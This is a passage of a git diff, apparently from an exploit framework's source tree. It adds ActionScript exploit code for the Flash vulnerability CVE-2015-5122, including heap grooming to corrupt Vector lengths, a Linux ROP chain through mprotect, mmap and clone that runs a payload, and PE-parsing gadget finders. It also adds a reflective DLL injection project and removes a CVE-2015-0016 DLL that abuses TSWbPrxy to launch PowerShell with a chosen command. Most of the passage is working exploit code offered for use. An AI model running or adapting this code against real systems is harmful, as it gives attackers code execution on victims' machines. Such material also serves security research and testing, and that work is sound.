eba.write(magic + 0x1c, magic_arg0) + eba.write(magic + 0x20, magic_arg1) + } + + private function do_rop_linux():void + { + Logger.log("[*] Exploiter - do_rop_linux()") + var flash:Elf = new Elf(eba, vtable) + var feof:uint = flash.external_symbol('feof') + var libc:Elf = new Elf(eba, feof) + var popen:uint = libc.symbol("popen") + var mprotect:uint = libc.symbol("mprotect") + var mmap:uint = libc.symbol("mmap") + var clone:uint = libc.symbol("clone") + var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) + var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) + var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) + + // Continuation of execution + // 1) Recover original vtable + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + // 2) Recover original stack + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + + // my_memcpy + eba.write(buffer + 0x60, "\x56", false) // push esi + eba.write(0, "\x57", false) // push edi + eba.write(0, "\x51", false) // push ecx + eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10] + eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14] + eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18] + eba.write(0, "\xF3\xA4", false) // rep movsb + eba.write(0, "\x59", false) // pop ecx + eba.write(0, "\x5f", false) // pop edi + eba.write(0, "\x5e", false) // pop esi + eba.write(0, "\xc3", false) // ret + + // Put the popen parameters in memory + eba.write(payload_address + 0x8, payload, true) // false + + // Put the fake stack/vtable on memory + eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot + eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi + eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024 + + // Return to mprotect() + eba.write(stack_address + 0x18034, mprotect) + // Return to stackpivot (jmp over mprotect parameters) + eba.write(0, addesp2cret) + // mprotect() arguments + eba.write(0, buffer) // addr + eba.write(0, 0x1000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + + // Return to mmap() + eba.write(stack_address + 0x18068, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() code segment arguments + eba.write(0, 0x70000000) // 0x70000000 + eba.write(0, 0x4000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, 0xffffffff) // filedes + eba.write(0, 0) // offset + + // Return to mmap() + eba.write(stack_address + 0x1809c, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() stack segment arguments + eba.write(0, 0x70008000) // NULL + eba.write(0, 0x10000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, -1) // filedes + eba.write(0, 0) // offset + + // Return to memcpy() + eba.write(stack_address + 0x180d0, buffer + 0x60) + // Return to stackpivot (jmp over memcpy parameters) + eba.write(0, addesp2cret) + // memcpy() parameters + eba.write(0, 0x70000000) + eba.write(0, payload_address + 0x8) + eba.write(0, payload.length) + + // Return to clone() + eba.write(stack_address + 0x18104, clone) + // Return to CoE (fix stack and object vtable) + eba.write(0, buffer + 0x10) + // clone() arguments + eba.write(0, 0x70000000) // code + eba.write(0, 0x7000bff0) // stack + eba.write(0, 0x00000100) // flags CLONE_VM + eba.write(0, 0) // args + + //call DWORD PTR [eax+0x24] + //EAX: 0x41414141 ('AAAA') + //EDI: 0xad857088 ("AAAA\377") + eba.write(main, stack_address + 0x18000) + exploit.hasOwnProperty('msf') + } + + private function cleanup():void + { + Logger.log("[*] Exploiter - cleanup()") + spray = null + stack = null + payload_space = null + eba = null + ev = null + exploit = null + System.pauseForGCIfCollectionImminent(0) + } + } +} diff --git a/external/source/exploits/CVE-2015-5122/Logger.as b/external/source/exploits/CVE-2015-5122/Logger.as new file mode 100755 index 0000000000..16c0447973 --- /dev/null +++ b/external/source/exploits/CVE-2015-5122/Logger.as @@ -0,0 +1,32 @@ +package +{ + import flash.external.ExternalInterface + + public class Logger { + private static const DEBUG:uint = 0 + + public static function alert(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("alert", str); + } + } + + public static function log(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("console.log", str); + } + } + } +} diff --git a/external/source/exploits/CVE-2015-5122/MyClass.as b/external/source/exploits/CVE-2015-5122/MyClass.as new file mode 100755 index 0000000000..01fda97a58 --- /dev/null +++ b/external/source/exploits/CVE-2015-5122/MyClass.as @@ -0,0 +1,150 @@ +package +{ + import flash.display.DisplayObjectContainer; + import flash.utils.ByteArray; + import flash.system.Capabilities; + import flash.events.MouseEvent; + import flash.external.ExternalInterface; + import flash.text.*; + import flash.text.*; + import flash.text.engine.*; + + public class MyClass + { + static var + _gc:Array, + _ar:Array, + _ar_reuse:Array, + _ar_text_line:Array, + _arLen:int, + _ar_reuseLen:int, + _ar_text_lineLen:int, + _vu:Vector., + _tb:TextBlock, + _mc:MyClass, + _cnt:int, + _vLen:int, + LEN40:uint = 0x40000000; + + static function valueOf2() + { + try + { + if (++_cnt < _ar_text_lineLen) { + //recursive call for next TextLine + _ar_text_line[_cnt].opaqueBackground = _mc; + } else { + for(var i:int = 1; i <= 19; i++) + _tb.recreateTextLine(_ar_text_line[_ar_text_lineLen - i]); + // reuse freed memory + for(i=0; i < _ar_reuseLen; i++) + _ar_reuse[i].length = _vLen; + } + } + catch (e:Error) + { + Logger.log("valueOf2 " + e.toString()); + } + + return _vLen+8; + } + + static function TryExpl(e:Exploit, platform:String, payload:ByteArray, try_number:uint) + { + if (try_number > 3) + return + + try + { + // init vars + Logger.log("init vars") + _arLen = 30 + _ar_text_lineLen = 50 + _ar_reuseLen = 80 + + _ar = new Array(_arLen); + _ar_text_line = new Array(_ar_text_lineLen) + _ar_reuse = new Array(_ar_reuseLen) + + if (!_gc) _gc = new Array(); + _gc.push(_ar); + _gc.push(_ar_text_line); + _gc.push(_ar_reuse); + + if (!_tb) { + _tb = new TextBlock(new TextElement("TextElement", new ElementFormat())); + if (!_tb) throw new Error("_tb = " + _tb); + } + + _mc = new MyClass(); + + _vLen = 400/4-2; + // fill 400-byte holes (400 is factor of 0x320(800) opaqueBackground corruption offset) + Logger.log("fill 400-byte holes (400 is factor of 0x320(800) opaqueBackground corruption offset)") + for(var i:uint = 0; i < _arLen; i++) + _ar[i] = new Vector.(_vLen) + + // prepare Vector objects + Logger.log("prepare Vector objects") + for(i = 0; i < _ar_reuseLen; i++) { + _ar_reuse[i] = new Vector.(8); + _ar_reuse[i][0] = i; + _ar_reuse[i][1] = 0xdeedbeef + } + + // prepare TextLines + Logger.log("prepare TextLines") + for(i = 0; i < _ar_text_lineLen; i++) + _ar_text_line[i] = _tb.createTextLine() + + // fill 1016-byte holes (0x38c is a size of internal TextLine object) + Logger.log("fill 1016-byte holes (0x38c is a size of internal TextLine object)") + for(i = 0; i < _ar_text_lineLen; i++) + _ar_text_line[i].opaqueBackground = 1 // alloc 1016 bytes + + // set custom valueOf() for _mc + Logger.log("set custom valueOf() for _mc") + MyClass.prototype.valueOf = valueOf2 + + // here we go, call the vulnerable setter + Logger.log("here we go, call the vulnerable setter") + //_cnt = _ar_text_lineLen - 6 + _cnt = _ar_text_lineLen - 20 + _ar_text_line[_cnt].opaqueBackground = _mc + + // find corrupted vector length + Logger.log("find corrupted vector length ") + for(i=0; i < _ar_reuseLen; i++) { + _vu = _ar_reuse[i]; + if (_vu.length > _vLen+2) { + Logger.log("ar["+i.toString()+"].length = " + _vu.length.toString(16)); + Logger.log("ar["+i.toString()+"]["+_vLen.toString(16)+"] = " + _vu[_vLen].toString(16)); + if (_vu[_vLen] == _vLen) { + // corrupt next vector + _vu[_vLen] = LEN40; + // get corrupted vector + _vu = _ar_reuse[_vu[_vLen+2]]; + break; + } + };// else CheckCorrupted(_vu, i); // 4RnD + } + + // check results + Logger.log("v.length = " + _vu.length.toString(16)); + + if (_vu.length < LEN40) throw new Error("try again"); + + var exploiter:Exploiter = new Exploiter(e, platform, payload, _vu, 0x62) + } + catch (err:Error) + { + Logger.log("TryExpl " + err.toString()); + if (err.toString().indexOf("try again") != -1) { + MyClass.TryExpl(e, platform, payload, try_number + 1) + } + } + } + + } + +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-5122/PE.as b/external/source/exploits/CVE-2015-5122/PE.as new file mode 100755 index 0000000000..8753586477 --- /dev/null +++ b/external/source/exploits/CVE-2015-5122/PE.as @@ -0,0 +1,72 @@ +package +{ + public class PE + { + private var eba:ExploitByteArray + + public function PE(ba:ExploitByteArray) + { + eba = ba + } + + public function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (eba.read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + public function module(name:String, addr:uint):uint + { + var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1 + var mod_name:String + + while (true) { + var entry:uint = eba.read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + mod_name = eba.read_string(addr + entry, name.length) + if (mod_name.toUpperCase() == name.toUpperCase()) break + } + return base(eba.read(addr + eba.read(iat + i * 0x14 + 16))) + } + + public function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78) + var numberOfNames:uint = eba.read(eat + 0x18) + var addressOfFunctions:uint = addr + eba.read(eat + 0x1c) + var addressOfNames:uint = addr + eba.read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24) + var proc_name:String + + for (var i:uint = 0; ; i++) { + var entry:uint = eba.read(addressOfNames + i * 4) + proc_name = eba.read_string(addr + entry, name.length + 2) + if (proc_name.toUpperCase() == name.toUpperCase()) break + } + return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + public function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var contents:uint = 0 + var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + + for (var i:uint = 0; i < limit - 4; i++) { + contents = eba.read(addr + i) + if (hint == 0xffffffff && value == contents) { + return addr + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return addr + i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/cve-2015-0016/.gitignore b/external/source/exploits/cve-2015-0016/.gitignore new file mode 100755 index 0000000000..0d61b55c0a --- /dev/null +++ b/external/source/exploits/cve-2015-0016/.gitignore @@ -0,0 +1,16 @@ +Release/ +Debug/ +x64/ +dll/Release/ +dll/Debug/ +dll/reflective_dll.vcproj.*.user +dll/reflective_dll.vcxproj.user +inject/Release/ +inject/Debug/ +inject/inject.vcproj.*.user +inject/inject.vcxproj.user +rdi.ncb +rdi.suo +rdi.sdf +rdi.opensdf +rdi.v11.suo \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/LICENSE.txt b/external/source/exploits/cve-2015-0016/LICENSE.txt new file mode 100755 index 0000000000..f217025f51 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/LICENSE.txt @@ -0,0 +1,25 @@ +Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, are permitted +provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, this list of +conditions and the following disclaimer. + + * Redistributions in binary form must reproduce the above copyright notice, this list of +conditions and the following disclaimer in the documentation and/or other materials provided +with the distribution. + + * Neither the name of Harmony Security nor the names of its contributors may be used to +endorse or promote products derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/Readme.md b/external/source/exploits/cve-2015-0016/Readme.md new file mode 100755 index 0000000000..814e6e7517 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/Readme.md @@ -0,0 +1,40 @@ +About +===== + +Reflective DLL injection is a library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory into a host process. As such the library is responsible for loading itself by implementing a minimal Portable Executable (PE) file loader. It can then govern, with minimal interaction with the host system and process, how it will load and interact with the host. + +Injection works from Windows NT4 up to and including Windows 8, running on x86, x64 and ARM where applicable. + +Overview +======== + +The process of remotely injecting a library into a process is two fold. Firstly, the library you wish to inject must be written into the address space of the target process (Herein referred to as the host process). Secondly the library must be loaded into that host process in such a way that the library's run time expectations are met, such as resolving its imports or relocating it to a suitable location in memory. + +Assuming we have code execution in the host process and the library we wish to inject has been written into an arbitrary location of memory in the host process, Reflective DLL Injection works as follows. + +* Execution is passed, either via CreateRemoteThread() or a tiny bootstrap shellcode, to the library's ReflectiveLoader function which is an exported function found in the library's export table. +* As the library's image will currently exists in an arbitrary location in memory the ReflectiveLoader will first calculate its own image's current location in memory so as to be able to parse its own headers for use later on. +* The ReflectiveLoader will then parse the host processes kernel32.dll export table in order to calculate the addresses of three functions required by the loader, namely LoadLibraryA, GetProcAddress and VirtualAlloc. +* The ReflectiveLoader will now allocate a continuous region of memory into which it will proceed to load its own image. The location is not important as the loader will correctly relocate the image later on. +* The library's headers and sections are loaded into their new locations in memory. +* The ReflectiveLoader will then process the newly loaded copy of its image's import table, loading any additional library's and resolving their respective imported function addresses. +* The ReflectiveLoader will then process the newly loaded copy of its image's relocation table. +* The ReflectiveLoader will then call its newly loaded image's entry point function, DllMain with DLL_PROCESS_ATTACH. The library has now been successfully loaded into memory. +* Finally the ReflectiveLoader will return execution to the initial bootstrap shellcode which called it, or if it was called via CreateRemoteThread, the thread will terminate. + +Build +===== + +Open the 'rdi.sln' file in Visual Studio C++ and build the solution in Release mode to make inject.exe and reflective_dll.dll + +Usage +===== + +To test use the inject.exe to inject reflective_dll.dll into a host process via a process id, e.g.: + +> inject.exe 1234 + +License +======= + +Licensed under a 3 clause BSD license, please see LICENSE.txt for details. diff --git a/external/source/exploits/cve-2015-0016/bin/inject.arm.exe b/external/source/exploits/cve-2015-0016/bin/inject.arm.exe new file mode 100755 index 0000000000..8d25d7bbff Binary files /dev/null and b/external/source/exploits/cve-2015-0016/bin/inject.arm.exe differ diff --git a/external/source/exploits/cve-2015-0016/bin/inject.exe b/external/source/exploits/cve-2015-0016/bin/inject.exe new file mode 100755 index 0000000000..62156af463 Binary files /dev/null and b/external/source/exploits/cve-2015-0016/bin/inject.exe differ diff --git a/external/source/exploits/cve-2015-0016/bin/inject.x64.exe b/external/source/exploits/cve-2015-0016/bin/inject.x64.exe new file mode 100755 index 0000000000..2ad745e035 Binary files /dev/null and b/external/source/exploits/cve-2015-0016/bin/inject.x64.exe differ diff --git a/external/source/exploits/cve-2015-0016/bin/reflective_dll.arm.dll b/external/source/exploits/cve-2015-0016/bin/reflective_dll.arm.dll new file mode 100755 index 0000000000..3d5aae086b Binary files /dev/null and b/external/source/exploits/cve-2015-0016/bin/reflective_dll.arm.dll differ diff --git a/external/source/exploits/cve-2015-0016/bin/reflective_dll.dll b/external/source/exploits/cve-2015-0016/bin/reflective_dll.dll new file mode 100755 index 0000000000..2d2f1dbba3 Binary files /dev/null and b/external/source/exploits/cve-2015-0016/bin/reflective_dll.dll differ diff --git a/external/source/exploits/cve-2015-0016/bin/reflective_dll.x64.dll b/external/source/exploits/cve-2015-0016/bin/reflective_dll.x64.dll new file mode 100755 index 0000000000..a4647765c6 Binary files /dev/null and b/external/source/exploits/cve-2015-0016/bin/reflective_dll.x64.dll differ diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016.sln b/external/source/exploits/cve-2015-0016/cve-2015-0016.sln deleted file mode 100755 index 8edd55e5b0..0000000000 --- a/external/source/exploits/cve-2015-0016/cve-2015-0016.sln +++ /dev/null @@ -1,22 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual Studio 2013 -VisualStudioVersion = 12.0.31101.0 -MinimumVisualStudioVersion = 10.0.40219.1 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2015-0016", "cve-2015-0016\cve-2015-0016.vcxproj", "{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Win32 = Debug|Win32 - Release|Win32 = Release|Win32 - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Debug|Win32.ActiveCfg = Debug|Win32 - {ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Debug|Win32.Build.0 = Debug|Win32 - {ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Release|Win32.ActiveCfg = Release|Win32 - {ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Release|Win32.Build.0 = Release|Win32 - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/ReadMe.txt b/external/source/exploits/cve-2015-0016/cve-2015-0016/ReadMe.txt deleted file mode 100755 index 8194dd462a..0000000000 --- a/external/source/exploits/cve-2015-0016/cve-2015-0016/ReadMe.txt +++ /dev/null @@ -1,48 +0,0 @@ -======================================================================== - DYNAMIC LINK LIBRARY : cve-2015-0016 Project Overview -======================================================================== - -AppWizard has created this cve-2015-0016 DLL for you. - -This file contains a summary of what you will find in each of the files that -make up your cve-2015-0016 application. - - -cve-2015-0016.vcxproj - This is the main project file for VC++ projects generated using an Application Wizard. - It contains information about the version of Visual C++ that generated the file, and - information about the platforms, configurations, and project features selected with the - Application Wizard. - -cve-2015-0016.vcxproj.filters - This is the filters file for VC++ projects generated using an Application Wizard. - It contains information about the association between the files in your project - and the filters. This association is used in the IDE to show grouping of files with - similar extensions under a specific node (for e.g. ".cpp" files are associated with the - "Source Files" filter). - -cve-2015-0016.cpp - This is the main DLL source file. - - When created, this DLL does not export any symbols. As a result, it - will not produce a .lib file when it is built. If you wish this project - to be a project dependency of some other project, you will either need to - add code to export some symbols from the DLL so that an export library - will be produced, or you can set the Ignore Input Library property to Yes - on the General propert page of the Linker folder in the project's Property - Pages dialog box. - -///////////////////////////////////////////////////////////////////////////// -Other standard files: - -StdAfx.h, StdAfx.cpp - These files are used to build a precompiled header (PCH) file - named cve-2015-0016.pch and a precompiled types file named StdAfx.obj. - -///////////////////////////////////////////////////////////////////////////// -Other notes: - -AppWizard uses "TODO:" comments to indicate parts of the source code you -should add to or customize. - -///////////////////////////////////////////////////////////////////////////// diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.cpp b/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.cpp deleted file mode 100755 index 753bd5d368..0000000000 --- a/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.cpp +++ /dev/null @@ -1,46 +0,0 @@ -// MyExploit.cpp : Defines the exported functions for the DLL application. -// - -#include "stdafx.h" -#include - -#import "C:\\Windows\\System32\\TSWbPrxy.exe" named_guids no_namespace -#define MAX_ENV 32767 - -bstr_t GetEnv(LPCSTR env) -{ - CHAR buf[MAX_ENV]; - - GetEnvironmentVariable(env, buf, MAX_ENV); - - return buf; -} - -void DoTSWbPrxyExploit() { - HRESULT hr; - IMSTSWebProxy *pUnk; - - CHAR cmdline[] = "TSWbPrxy.exe"; - STARTUPINFO startInfo = { 0 }; - PROCESS_INFORMATION procInfo = { 0 }; - - hr = CreateProcess(GetEnv("windir") + "\\System32\\TSWbPrxy.exe", cmdline, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &startInfo, &procInfo); - if (hr == 0) - return; - - hr = CoCreateInstance(CLSID_MSTSWebProxy, NULL, CLSCTX_SERVER, IID_IMSTSWebProxy, (void**)&pUnk); - if (hr != 0) - return; - - pUnk->StartRemoteDesktop(GetEnv("windir") + "\\system32\\WindowsPowerShell\\v1.0\\powershell.exe", GetEnv("PSHCMD")); - pUnk->Release(); -} - -DWORD CALLBACK ExploitThread(LPVOID hModule) -{ - CoInitialize(nullptr); - DoTSWbPrxyExploit(); - CoUninitialize(); - - FreeLibraryAndExitThread((HMODULE)hModule, 0); -} \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj b/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj deleted file mode 100755 index 3a252cceaa..0000000000 --- a/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj +++ /dev/null @@ -1,105 +0,0 @@ - - - - - Debug - Win32 - - - Release - Win32 - - - - {ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450} - Win32Proj - cve20150016 - - - - DynamicLibrary - true - v120 - Unicode - - - DynamicLibrary - false - v120 - true - MultiByte - - - - - - - - - - - - - true - - - false - - - - Use - Level3 - Disabled - WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE20150016_EXPORTS;%(PreprocessorDefinitions) - true - - - Windows - true - - - - - Level3 - Use - MaxSpeed - true - true - WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE20150016_EXPORTS;%(PreprocessorDefinitions) - true - MultiThreaded - CompileAsCpp - - - Windows - true - true - true - - - - - - - - - - - - - false - - - false - - - - - Create - Create - - - - - - \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/dllmain.cpp b/external/source/exploits/cve-2015-0016/cve-2015-0016/dllmain.cpp deleted file mode 100755 index e23ee055cf..0000000000 --- a/external/source/exploits/cve-2015-0016/cve-2015-0016/dllmain.cpp +++ /dev/null @@ -1,24 +0,0 @@ -// dllmain.cpp : Defines the entry point for the DLL application. -#include "stdafx.h" - -DWORD CALLBACK ExploitThread(LPVOID hModule); - -BOOL APIENTRY DllMain(HMODULE hModule, - DWORD ul_reason_for_call, - LPVOID lpReserved - ) -{ - switch (ul_reason_for_call) - { - case DLL_PROCESS_ATTACH: - CreateThread(nullptr, 0, ExploitThread, hModule, 0, 0); - break; - case DLL_THREAD_ATTACH: - case DLL_THREAD_DETACH: - case DLL_PROCESS_DETACH: - break; - } - return TRUE; -} - - diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.cpp b/external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.cpp deleted file mode 100755 index 0aef05abb6..0000000000 --- a/external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.cpp +++ /dev/null @@ -1,8 +0,0 @@ -// stdafx.cpp : source file that includes just the standard includes -// cve-2015-0016.pch will be the pre-compiled header -// stdafx.obj will contain the pre-compiled type information - -#include "stdafx.h" - -// TODO: reference any additional headers you need in STDAFX.H -// and not in this file diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.h b/external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.h deleted file mode 100755 index 677e68a9fa..0000000000 --- a/external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.h +++ /dev/null @@ -1,16 +0,0 @@ -// stdafx.h : include file for standard system include files, -// or project specific include files that are used frequently, but -// are changed infrequently -// - -#pragma once - -#include "targetver.h" - -#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers -// Windows Header Files: -#include - - - -// TODO: reference additional headers your program requires here diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/targetver.h b/external/source/exploits/cve-2015-0016/cve-2015-0016/targetver.h deleted file mode 100755 index 90e767bfce..0000000000 --- a/external/source/exploits/cve-2015-0016/cve-2015-0016/targetver.h +++ /dev/null @@ -1,8 +0,0 @@ -#pragma once - -// Including SDKDDKVer.h defines the highest available Windows platform. - -// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and -// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. - -#include diff --git a/external/source/exploits/cve-2015-0016/dll/reflective_dll.sln b/external/source/exploits/cve-2015-0016/dll/reflective_dll.sln new file mode 100755 index 0000000000..eff992d77c --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/reflective_dll.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual C++ Express 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "reflective_dll.vcproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/cve-2015-0016/dll/reflective_dll.vcproj b/external/source/exploits/cve-2015-0016/dll/reflective_dll.vcproj new file mode 100755 index 0000000000..33c6bd9515 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/reflective_dll.vcproj @@ -0,0 +1,357 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/external/source/exploits/cve-2015-0016/dll/reflective_dll.vcxproj b/external/source/exploits/cve-2015-0016/dll/reflective_dll.vcxproj new file mode 100755 index 0000000000..0eeda45bd9 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/reflective_dll.vcxproj @@ -0,0 +1,268 @@ + + + + + Debug + ARM + + + Debug + Win32 + + + Debug + x64 + + + Release + ARM + + + Release + Win32 + + + Release + x64 + + + + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949} + reflective_dll + Win32Proj + + + + DynamicLibrary + v120 + MultiByte + true + + + DynamicLibrary + v110 + MultiByte + true + + + DynamicLibrary + v120 + Unicode + + + DynamicLibrary + v110 + Unicode + + + DynamicLibrary + v120 + MultiByte + false + + + DynamicLibrary + v120 + Unicode + + + + + + + + + + + + + + + + + + + + + + + + + <_ProjectFileVersion>11.0.50727.1 + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + true + + + true + + + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + true + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + false + + + false + + + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + false + + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + Level3 + EditAndContinue + + + true + Windows + MachineX86 + + + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + + Level3 + EditAndContinue + + + true + Windows + + + + + X64 + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + Level3 + ProgramDatabase + + + true + Windows + MachineX64 + + + + + MaxSpeed + OnlyExplicitInline + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + CompileAsCpp + + + true + Windows + true + true + MachineX86 + + + copy ..\Release\reflective_dll.dll ..\bin\ + + + + + MinSpace + OnlyExplicitInline + true + 